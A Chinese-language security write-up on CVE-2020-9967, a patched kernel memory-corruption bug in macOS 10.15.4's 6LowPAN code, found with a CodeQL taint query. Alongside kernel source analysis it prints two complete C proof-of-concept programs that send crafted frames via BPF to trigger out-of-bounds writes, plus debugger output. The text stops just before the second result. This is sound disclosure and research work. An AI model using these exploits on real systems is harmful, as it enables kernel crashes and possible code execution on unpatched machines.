在深受Kevin Backhouse在挖掘XNU远程漏洞方面的文章的启发后,我决定花点时间鼓捣一下CodeQL,并着手进行一些变种分析——结果,我在macOS 10.15.4的6LowPAN代码中发现了一个本地root到内核权限的提权漏洞(但是苹果称之为远程漏洞)。
该漏洞已于2020年5月11日提交给苹果。
这个问题的漏洞编号为CVE-2020-9967,其修复方法包含在下面的安全更新中。
2020年12月5日,苹果公司表示,已经为所有适用平台公布了该CVE。
漏洞的发现过程
在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存管理单元中。另外,这些数据通常是由操作系统的网络栈代码读取或写入mbuf中的。
我的思考过程是:定义一个简单的污点跟踪查询,以找出所有不受信任的网络数据来源(Source点,风险产生点),它们最终会污染内存复制操作的大小参数(Sink点,风险触发点)。我最初就是通过修改来自这里的查询来寻找Source点 m_mtod和Sink点 builtin___memcpy_chk的,但是,最终无功而返。然而,在XNU内部,bcopy被频繁使用,这最终会变成调用buildin___memmove_chk,所以查询被修改为:
import cpp import semmle.code.cpp.dataflow.TaintTracking import DataFlow::PathGraph import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis class Config extends TaintTracking::Configuration { Config() { this = "sixlowpan_flow" } override predicate isSource(DataFlow::Node source) { source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod" } override predicate isSink(DataFlow::Node sink) { exists (FunctionCall call | call.getArgument(2) = sink.asExpr() and call.getTarget().getName() = "__builtin___memmove_chk" ) } } from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink where cfg.hasFlowPath(source, sink) select sink, source, sink, "memmove with tainted size."
运行这个查询得到了大约15个结果,我发现的漏洞就是其中之一。
通过查看结果,我发现下面是一个值得手动调查的流程:
1 call to m_mtod if_6lowpan.c:623:2 2 len if_6lowpan.c:663:41 3 ref arg & ... [payload_len] if_6lowpan.c:663:46 4 & ... [payload_len] if_6lowpan.c:666:19 5 ieee02154hdr [payload_len] sixxlowpan.c:882:38 6 ieee02154hdr [payload_len] sixxlowpan.c:886:32 7 ieee02154hdr [payload_len] sixxlowpan.c:819:43 8 ieee02154hdr [payload_len] sixxlowpan.c:855:7 9 payload_len sixxlowpan.c:855:21 10 ... - ... sixxlowpan.c:855:7
这证明了为代码库提供定制化的CodeQL查询来识别常见漏洞模式的威力是多么的强大。
在深入介绍这里发现的漏洞之前,我们不妨先来了解一下6LowPAN的背景。
关于6LowPAN
事实证明,作为MacOS Catalina 10.15的一部分,苹果在XNU内核中悄悄地引入了对6LoWPAN和IEEE 802.15.4的支持。我们知道,XNU内核中引入的实质性变化都值得调查,因为它们很可能是引入新漏洞的来源。6LowPAN是“IPv6 over Low-Power Wireless Persona Area Networks”的缩写,顾名思义,它是一种网络技术,允许IPv6数据包有效地在小型链路层帧中传输,如IEEE 802.15.4。
与该协议对应的RFC是RFC4944、RFC6282和RFC6775。
下面,我们给大家介绍一下相关背景知识。IEEE 802.15.4是定义低速率无线个人区域网(LR-WPAN)操作的标准,并规定了LR-WPAN的物理层和媒体接入层。之后,6LowPAN扩展了该标准,提供了802.15.4中没有定义的上层。其中,一个流行的物联网协议Thread就采用了6LowPAN,顺便说一下,苹果已经在2018年加入了Thread工作组。
在XNU内核源代码中,frame802154.c提供了802.15.4帧的创建和解析的实现代码;if_6lowpan.c则含有6LowPAN网络接口的相关代码,sixlowpan.c中含有与6lowpan压缩和解压缩相关的代码。当然,其中大部分代码取自Contiki OS,只不过做了些修改和封装而已。
目前上述内容还没有公开的文档,唯一公开提到的只有关于Thread HomePod mini的内容。
IEEE 802.15.4的帧格式
第2层(协议栈内的MAC层)的定义位于IEEE标准802.15.4-2015中的“通用MAC帧格式”一章的第7.2节中。
该帧的控制字段如下所示:
IPv6数据包必须通过数据帧传输。当我们在后面讨论XNU代码库内的解析过程时,这些细节将很重要,因为首先需要对这些帧进行解析,以确定报头,然后才能处理有效载荷部分。
LoWPAN有效载荷
由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适配层,以符合IPv6对最小MTU的要求。该标准还定义了报头压缩的用法,因为预计大多数应用将使用基于IEEE 802.15.4的IP。
因此,如上所述,LoWPAN有效载荷(例如,IPv6分组)跟随在封装报头之后。
需要记住的是,IPv6报头也有40个八位字节长。
在初始标准中,定义了使用LOWPAN_HC1压缩的IPv6数据报。这意味着刚收到6LowPAN有效载荷时,它们是经过压缩的。这也是理解该漏洞的一个重要的注意事项。
数据链路层调度
我们的问题是,该如何把6LowPAN帧发送到苹果设备上,以及它们会不会被自动处理?通过仔细研究代码,我们发现数据链路层能够调度这种类型的帧。
最初,我们可以发送一个以太网数据包,它将交由demux函数进行处理:
int ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header, protocol_family_t *protocol_family) { struct ether_header *eh = (struct ether_header *)(void *)frame_header; u_short ether_type = eh->ether_type; u_int16_t type; u_int8_t *data; u_int32_t i = 0; struct ether_desc_blk_str *desc_blk = (struct ether_desc_blk_str *)ifp->if_family_cookie; u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0; struct en_desc *ed = desc_blk ? desc_blk->block_ptr : NULL; u_int32_t extProto1 = 0; u_int32_t extProto2 = 0; if (eh->ether_dhost[0] & 1) { /* Check for broadcast */ if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) { m->m_flags |= M_BCAST; } else { m->m_flags |= M_MCAST; } } if (m->m_flags & M_HASFCS) { /* * If the M_HASFCS is set by the driver we want to make sure * that we strip off the trailing FCS data before handing it * up the stack. */ m_adj(m, -ETHER_CRC_LEN); m->m_flags &= ~M_HASFCS; } if ((eh->ether_dhost[0] & 1) == 0) { /* * When the driver is put into promiscuous mode we may receive * unicast frames that are not intended for our interfaces. * They are marked here as being promiscuous so the caller may * dispose of them after passing the packets to any interface * filters. */ if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) { m->m_flags |= M_PROMISC; } } /* check for IEEE 802.15.4 */ if (ether_type == htons(ETHERTYPE_IEEE802154)) { *protocol_family = PF_802154; return 0; }
如果以太网报头中的ether_type为ETHERTYPE_IEEE802154,那么我们将把protocol_family设置为PF_802154。
现在,在默认配置中,除非配置了6lowpan接口,否则无法处理该protocol_family,这导致以下代码注册函数sixlowpan_input,并在处理802.15.4帧时调用该函数。
/* * Function: sixlowpan_attach_protocol * Purpose: * Attach a DLIL protocol to the interface * The ethernet demux actually special cases 802.15.4. * The demux here isn't used. The demux will return PF_802154 for the * appropriate packets and our sixlowpan_input function will be called. */ static int sixlowpan_attach_protocol(struct ifnet *ifp) { int error; struct ifnet_attach_proto_param reg; bzero(®, sizeof(reg)); reg.input = sixlowpan_input; reg.detached = sixlowpan_detached; error = ifnet_attach_protocol(ifp, PF_802154, ®); if (error) { printf("%s(%s%d) ifnet_attach_protocol failed, %d\n", __func__, ifnet_name(ifp), ifnet_unit(ifp), error); } return error; }
漏洞详情
好了,现在我们终于把背景信息交代清楚了,接下来,我们开始介绍本人所发现的漏洞。对802.15.4数据帧进行解封的sixlowpan_input函数的代码具体如下:
/* * 6lowpan input routine. * Decapsulate the 802.15.4 Data Frame * Header decompression on the payload * Pass the mbuf to the IPV6 protocol stack using proto_input() */ static int sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol, mbuf_t m, __unused char *frame_header) { frame802154_t ieee02154hdr; u_int8_t *payload = NULL; if6lpan_ref ifl = NULL; bpf_packet_func bpf_func; mbuf_t mc, m_temp; int off, err = 0; u_int16_t len; /* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */ mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR); if (mc == NULL) { err = -1; goto err_out; } memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); // This is the size read from the frame on the wire. m_adj(m, sizeof(u_int16_t)); /* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */ for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) { if (m_temp->m_len > 0) { m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *)); off += m_temp->m_len; } } p = p_6lowpan_ifnet; mc->m_pkthdr.rcvif = p; sixlowpan_lock(); ifl = ifnet_get_if6lpan_retained(p); if (ifl == NULL) { sixlowpan_unlock(); err = -1; goto err_out; } if (if6lpan_flags_ready(ifl) == 0) { if6lpan_release(ifl); sixlowpan_unlock(); err = -1; goto err_out; } bpf_func = ifl->if6lpan_bpf_input; sixlowpan_unlock(); if6lpan_release(ifl); if (bpf_func) { bpf_func(p, mc); } /* Parse the 802.15.4 frame header */ bzero(&ieee02154hdr, sizeof(ieee02154hdr)); frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload); /* XXX Add check for your link layer address being dest */ sixxlowpan_input(&ieee02154hdr, payload);
首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群:即mc。
集群mbuf的大小是MCLBYTES,即2048字节。超过该大小的数据将被复制到链接到一起的多个mbuf中。
正如您看到的,len是从传入的mbuf m中读取的,并且是完全由攻击者控制的。
然后,m_adj被用来从mbuf链的开头减去这两个字节。
然后,将压缩后的802.15.4有效载荷从Source点mbuf m复制到分配的集群mbuf mc中。
然后,将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。
不过,这里存在一些明显的问题,比如,如果mbuf内的数据小于mc内的帧的长度,结果会怎样?
/*----------------------------------------------------------------------------*/ /** * \brief Parses an input frame. Scans the input frame to find each * section, and stores the information of each section in a * frame802154_t structure. * * \param data The input data from the radio chip. * \param len The size of the input data * \param pf The frame802154_t struct to store the parsed frame information. */ int frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload) { uint8_t *p; frame802154_fcf_t fcf; int c; #if LLSEC802154_USES_EXPLICIT_KEYS uint8_t key_id_mode; #endif /* LLSEC802154_USES_EXPLICIT_KEYS */ if (len < 3) { return 0; } p = data; /* decode the FCF */ fcf.frame_type = p[0] & 7; fcf.security_enabled = (p[0] >> 3) & 1; fcf.frame_pending = (p[0] >> 4) & 1; fcf.ack_required = (p[0] >> 5) & 1; fcf.panid_compression = (p[0] >> 6) & 1; fcf.dest_addr_mode = (p[1] >> 2) & 3; fcf.frame_version = (p[1] >> 4) & 3; fcf.src_addr_mode = (p[1] >> 6) & 3; /* copy fcf and seqNum */ memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t)); pf->seq = p[2]; p += 3; /* Skip first three bytes */ /* Destination address, if any */ if (fcf.dest_addr_mode) { /* Destination PAN */ pf->dest_pid = p[0] + (p[1] << 8); p += 2; /* Destination address */ /* l = addr_len(fcf.dest_addr_mode); */ /* for(c = 0; c < l; c++) { */ /* pf->dest_addr.u8[c] = p[l - c - 1]; */ /* } */ /* p += l; */ if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null); pf->dest_addr[0] = p[1]; pf->dest_addr[1] = p[0]; p += 2; } else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) { for (c = 0; c < 8; c++) { pf->dest_addr[c] = p[7 - c]; } p += 8; } } else { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null); pf->dest_pid = 0; } /* Source address, if any */ if (fcf.src_addr_mode) { /* Source PAN */ if (!fcf.panid_compression) { pf->src_pid = p[0] + (p[1] << 8); p += 2; } else { pf->src_pid = pf->dest_pid; } /* Source address */ /* l = addr_len(fcf.src_addr_mode); */ /* for(c = 0; c < l; c++) { */ /* pf->src_addr.u8[c] = p[l - c - 1]; */ /* } */ /* p += l; */ if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null); pf->src_addr[0] = p[1]; pf->src_addr[1] = p[0]; p += 2; } else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) { for (c = 0; c < 8; c++) { pf->src_addr[c] = p[7 - c]; } p += 8; } } else { linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null); pf->src_pid = 0; } #if LLSEC802154_SECURITY_LEVEL if (fcf.security_enabled) { pf->aux_hdr.security_control.security_level = p[0] & 7; #if LLSEC802154_USES_EXPLICIT_KEYS pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3; #endif /* LLSEC802154_USES_EXPLICIT_KEYS */ p += 1; memcpy(pf->aux_hdr.frame_counter.u8, p, 4); p += 4; #if LLSEC802154_USES_EXPLICIT_KEYS key_id_mode = pf->aux_hdr.security_control.key_id_mode; if (key_id_mode) { c = (key_id_mode - 1) * 4; memcpy(pf->aux_hdr.key_source.u8, p, c); p += c; pf->aux_hdr.key_index = p[0]; p += 1; } #endif /* LLSEC802154_USES_EXPLICIT_KEYS */ } #endif /* LLSEC802154_SECURITY_LEVEL */ /* header length */ c = p - data; /* payload length */ pf->payload_len = (len - c); /* payload */ *payload = p; /* return header length if successful */ return c > len ? 0 : c; } /** \brief Parameters used by the frame802154_create() function. These * parameters are used in the 802.15.4 frame header. See the 802.15.4 * specification for details. */ struct frame802154 { /* The fields dest_addr and src_addr must come first to ensure they are aligned to the * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */ uint8_t dest_addr[8]; /**< Destination address */ uint8_t src_addr[8]; /**< Source address */ frame802154_fcf_t fcf; /**< Frame control field */ uint8_t seq; /**< Sequence number */ uint16_t dest_pid; /**< Destination PAN ID */ uint16_t src_pid; /**< Source PAN ID */ frame802154_aux_hdr_t aux_hdr; /**< Aux security header */ //uint8_t *payload; /**< Pointer to 802.15.4 payload */ int payload_len; /**< Length of payload field */ }; typedef struct frame802154 frame802154_t;
关于这个函数和调用方,有一些重要的注意事项:
· 如果len<3,那么函数将返回0,并且不会初始化有效载荷指针(也就是一个NULL指针)。· frame802154_parse的返回值不会被检查。因此,这可能导致报头长度大于有效载荷的情况。
· 由于我们可以将len控制在0-0xffff的范围之间,因此,我们可以使pf->payload_len为负值(至-header_len),小于预期的大小或者大于mc中输入数据本身的大小。
那么,在这些情况下会发生什么事情呢?
errno_t sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload) { errno_t error = 0; error = sixxlowpan_uncompress(ieee02154hdr, payload); if (error != 0) { goto done; } /* * TO DO: fragmentation */ done: return error; }
然后,对有效载荷进行解压:
errno_t sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload) { long hdroffset; size_t hdrlen; u_int8_t hdrbuf[128]; errno_t error; bzero(hdrbuf, sizeof(hdrbuf)); hdrlen = sizeof(hdrbuf); error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload, 0, &hdroffset, &hdrlen, hdrbuf); if (error != 0) { return error; } if (hdroffset < 0) { /* * hdroffset negative means that we have to remove * hdrlen of extra stuff */ memmove(&payload[0], &payload[hdrlen], ieee02154hdr->payload_len - hdrlen); ieee02154hdr->payload_len -= hdrlen; } else { /* * hdroffset is the size of the compressed header * -- i.e. when the untouched data starts * * hdrlen is the size of the decompressed header * that takes the place of compressed header of size hdroffset */ memmove(payload + hdrlen, payload + hdroffset, ieee02154hdr->payload_len - hdroffset); memcpy(payload, hdrbuf, hdrlen); ieee02154hdr->payload_len += hdrlen - hdroffset; } return 0; }
下面,我们来看一下解压缩函数:
/*--------------------------------------------------------------------*/ /** * \brief Uncompress HC1 (and HC_UDP) headers and put them in * sicslowpan_buf * * This function is called by the input function when the dispatch is * HC1. * We %process the packet in the packetbuf buffer, uncompress the header * fields, and copy the result in the sicslowpan buffer. * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len * are set to the appropriate values * * \param ip_len Equal to 0 if the packet is not a fragment (IP length * is then inferred from the L2 length), non 0 if the packet is a 1st * fragment. */ errno_t uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload, uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf) { struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf; if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) { *hdroffset = -SICSLOWPAN_IPV6_HDR_LEN; *hdrlen = SICSLOWPAN_IPV6_HDR_LEN; return 0; } *hdroffset = 0; /* version, traffic class, flow label */ ip6->ip6_flow = 0; ip6->ip6_vfc = IPV6_VERSION; /* src and dest ip addresses */ uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ip6->ip6_src, (uip_lladdr_t *)frame->src_addr); uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ip6->ip6_dst, (uip_lladdr_t *)frame->dest_addr); *hdrlen = UIP_IPH_LEN; /* Next header field */ switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) { case SICSLOWPAN_HC1_NH_ICMP6: ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; break; case SICSLOWPAN_HC1_NH_TCP: ip6->ip6_nxt = IPPROTO_TCP; ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; break; case SICSLOWPAN_HC1_NH_UDP: ip6->ip6_nxt = IPPROTO_UDP; if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) { struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6; /* UDP header is compressed with HC_UDP */ if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] != SICSLOWPAN_HC_UDP_ALL_C) { printf("sicslowpan (uncompress_hdr), packet not supported"); return EINVAL; } /* IP TTL */ ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL]; /* UDP ports, len, checksum */ udp->uh_sport = htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4)); udp->uh_dport = htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F)); memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2); *hdrlen += UIP_UDPH_LEN; *hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN; } else { ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL]; *hdroffset = SICSLOWPAN_HC1_HDR_LEN; } break; default: /* this shouldn't happen, drop */ return EINVAL; } /* IP length field. */ if (ip_len == 0) { size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr); /* This is not a fragmented packet */ SET16(&ip6->ip6_plen, len); } else { /* This is a 1st fragment */ SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN); } /* length field in UDP header */ if (ip6->ip6_nxt == IPPROTO_UDP) { struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6; memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2); } return 0; }
我们可以通过这个函数观察到以下情况:
1.它预期mbuf中至少有40字节供IPv6报头 *hdrlen使用。
2.它不期望有效载荷的长度会小于报头的长度。
3.ip_len总是0。
如果我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入:
· len的下溢导致一个巨大的值被传递给memmove(wild write).
因此,如果我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值:
c header length = 3 frame->payload_len = 1
然后,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中得到以下值:
*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3 *hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40 sizeof(struct ip6_hdr) = 40
因此,当我们返回sixxlowpan_uncompress函数时:
/* * hdroffset is the size of the compressed header * -- i.e. when the untouched data starts * * hdrlen is the size of the decompressed header * that takes the place of compressed header of size hdroffset */ memmove(payload + hdrlen, payload + hdroffset, ieee02154hdr->payload_len - hdroffset); memcpy(payload, hdrbuf, hdrlen);
我们将在payload+40处执行写入操作(在mc mbuf集群中,受攻击者控制的数据来自Source payload缓冲区,长度为ieee02154hdr->payload_len - 3 = -2)。
POC 1:下溢
/*** Apple XNU 6LowPAN POC Catalina 10.15.4 POC 1: Wild memmove trigger with an underflow. Run this on target machine (or local system if testing locally): sudo ifconfig 6lowpan create sudo ifconfig 6lowpan0 up sudo ifconfig 6lowpan0 6lowpansetdev en0 ***/ #include #include #include #include #include #include #include #include #include #include #include #include #include // Set these to source and target unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; struct frame_t { struct ether_header header; unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN]; ssize_t len; ssize_t payload_len; }; // Open bpf device int open_bpf_device() { char buf[11] = {}; int bpf = 0; for(int i = 0; i < 99; i++) { sprintf(buf,"/dev/bpf%i",i); bpf = open(buf,O_RDWR); if( bpf != -1 ) { printf("Opened device /dev/bpf%i\n", i); break; } } if(bpf == -1) { printf("Cannot open any /dev/bpf* device, exiting\n"); exit(1); } return bpf; } // Associate device void assoc_dev(int bpf, char* interface) { struct ifreq bound_if; strcpy(bound_if.ifr_name, interface); if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) { printf("Cannot bind bpf device to physical device %s, exiting\n", interface); exit(1); } printf("Bound bpf device to physical device %s\n", interface); } // Write trigger frame void write_single_frame(int bpf) { ssize_t data_length = 32; struct frame_t frame; memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN); memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN); // 802.15.4 frame type. frame.header.ether_type = 0x908; frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length; // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); frame.payload[0] = 0; frame.payload[1] = 4; // This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *) // These are used for the FCF (no flags set) frame.payload[2] = 0; frame.payload[3] = 0; frame.payload[4] = 0; // As none FCF are set p+=3 bytes. // header length // c = p - data; // c = 3 // payload length // pf->payload_len = (4 - 3); // pf->payload_len = 1 // This is the start of our payload passed to sixxlowpan_uncompress frame.payload[5] = 0; frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP // Just pad the frame with 'A'. for (int j = 7; j < 32; j++) { frame.payload[j] = 0x41; } ssize_t bytes_sent; bytes_sent = write(bpf, &frame, frame.len); if(bytes_sent > 0) { printf("Bytes sent: %ld\n", bytes_sent); } else { perror("Error sending frame"); exit(1); } } int main(int argc, char *argv[]) { char* interface = "en0"; int bpf; bpf = open_bpf_device(); assoc_dev(bpf, interface); write_single_frame(bpf); return 0; }
在上面的POC 1代码中,我们通过1-3=-2触发了一个“胖手指式”的写入操作,以使问题变得更加明显。
我们可以通过下面的调试输出来进行确认:
(lldb) disas kernel`sixxlowpan_uncompress: 0xffffff8003ffa0b0 0xffffff8003ffa0b1 0xffffff8003ffa0b4 0xffffff8003ffa0b6 0xffffff8003ffa0b8 0xffffff8003ffa0ba 0xffffff8003ffa0bc 0xffffff8003ffa0bd 0xffffff8003ffa0c4 0xffffff8003ffa0c7 0xffffff8003ffa0ca 0xffffff8003ffa0d1 0xffffff8003ffa0d4 0xffffff8003ffa0d8 0xffffff8003ffa0d9 0xffffff8003ffa0e3 0xffffff8003ffa0eb 0xffffff8003ffa0f3 0xffffff8003ffa0fb 0xffffff8003ffa103 0xffffff8003ffa10b 0xffffff8003ffa113 0xffffff8003ffa11b 0xffffff8003ffa123 0xffffff8003ffa12b 0xffffff8003ffa133 0xffffff8003ffa13e 0xffffff8003ffa149 0xffffff8003ffa154 0xffffff8003ffa15f 0xffffff8003ffa16a 0xffffff8003ffa175 0xffffff8003ffa17c 0xffffff8003ffa181 0xffffff8003ffa184 0xffffff8003ffa189 0xffffff8003ffa194 0xffffff8003ffa19b 0xffffff8003ffa1a2 0xffffff8003ffa1a5 0xffffff8003ffa1a8 0xffffff8003ffa1aa 0xffffff8003ffa1ad 0xffffff8003ffa1b2 0xffffff8003ffa1b4 0xffffff8003ffa1b6 0xffffff8003ffa1b8 0xffffff8003ffa1bf 0xffffff8003ffa1c6 0xffffff8003ffa1ca 0xffffff8003ffa1cd 0xffffff8003ffa1cf 0xffffff8003ffa1d3 0xffffff8003ffa1d7 0xffffff8003ffa1d8 -> 0xffffff8003ffa1da (lldb) register read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000000000 rcx = 0xffffff80669e3d28 rdx = 0xfffffffffffffffe rdi = 0xffffff80602e1806 rsi = 0xffffff80602e182b rbp = 0xffffff80669e3cf0 rsp = 0xffffff80669e3c30 r8 = 0xffffff80669e3c38 r9 = 0xffffff80669e3c40 r10 = 0x0000000000000000 r11 = 0x0000000000000003 r12 = 0x0000000000000028 r13 = 0x0000000000000003 r14 = 0xffffff80669e3d28 r15 = 0xffffff80602e1803 rip = 0xffffff8003ffa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703 kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853 kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853 rflags = 0x0000000000000393 cs = 0x0000000000000008 fs = 0x00000000ffff0000 gs = 0x00000000669e0000
POC 2:上溢
然而,我们可以用巨大的有效载荷长度来触发更可控的内存破坏活动,这同时也可能触发代码执行。
例如,我们可以使用以下参数:
len = 0xffff pf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc
将导致memmove在payload+40处执行写入操作,数据来自攻击者,大小为0xfffc-40 =(0xfff9)65529。
POC 2可以演示该过程:
/*** Apple XNU 6LowPAN POC Catalina 10.15.4 POC 2: Write 0xffd4 bytes - overflow Run this on target machine (or local system if testing locally): sudo ifconfig 6lowpan create sudo ifconfig 6lowpan0 up sudo ifconfig 6lowpan0 6lowpansetdev en0 ***/ #include #include #include #include #include #include #include #include #include #include #include #include #include // Set these to source and target unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; struct frame_t { struct ether_header header; unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN]; ssize_t len; ssize_t payload_len; }; // Open bpf device int open_bpf_device() { char buf[11] = {}; int bpf = 0; for(int i = 0; i < 99; i++) { sprintf(buf,"/dev/bpf%i",i); bpf = open(buf,O_RDWR); if( bpf != -1 ) { printf("Opened device /dev/bpf%i\n", i); break; } } if(bpf == -1) { printf("Cannot open any /dev/bpf* device, exiting\n"); exit(1); } return bpf; } // Associate device void assoc_dev(int bpf, char* interface) { struct ifreq bound_if; strcpy(bound_if.ifr_name, interface); if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) { printf("Cannot bind bpf device to physical device %s, exiting\n", interface); exit(1); } printf("Bound bpf device to physical device %s\n", interface); } // Write trigger frame void write_single_frame(int bpf) { ssize_t data_length = 32; struct frame_t frame; memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN); memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN); // 802.15.4 frame type. frame.header.ether_type = 0x908; frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length; // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len); frame.payload[0] = 0xff; frame.payload[1] = 0xff; // This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *) // These are used for the FCF (no flags set) frame.payload[2] = 0; frame.payload[3] = 0; frame.payload[4] = 0; // As none FCF are set p+=3 bytes. // header length // c = p - data; // c = 3 // payload length // pf->payload_len = (4 - 3); // pf->payload_len = 1 // This is the start of our payload passed to sixxlowpan_uncompress frame.payload[5] = 0; frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP // Just pad the frame with 'A'. for (int j = 7; j < 32; j++) { frame.payload[j] = 0x41; } ssize_t bytes_sent; bytes_sent = write(bpf, &frame, frame.len); if(bytes_sent > 0) { printf("Bytes sent: %ld\n", bytes_sent); } else { perror("Error sending frame"); exit(1); } } int main(int argc, char *argv[]) { char* interface = "en0"; int bpf; bpf = open_bpf_device(); assoc_dev(bpf, interface); // Do this in a loop to ensure we corrupt data following mbuf. while (1) write_single_frame(bpf); return 0; }
结果如下所示:
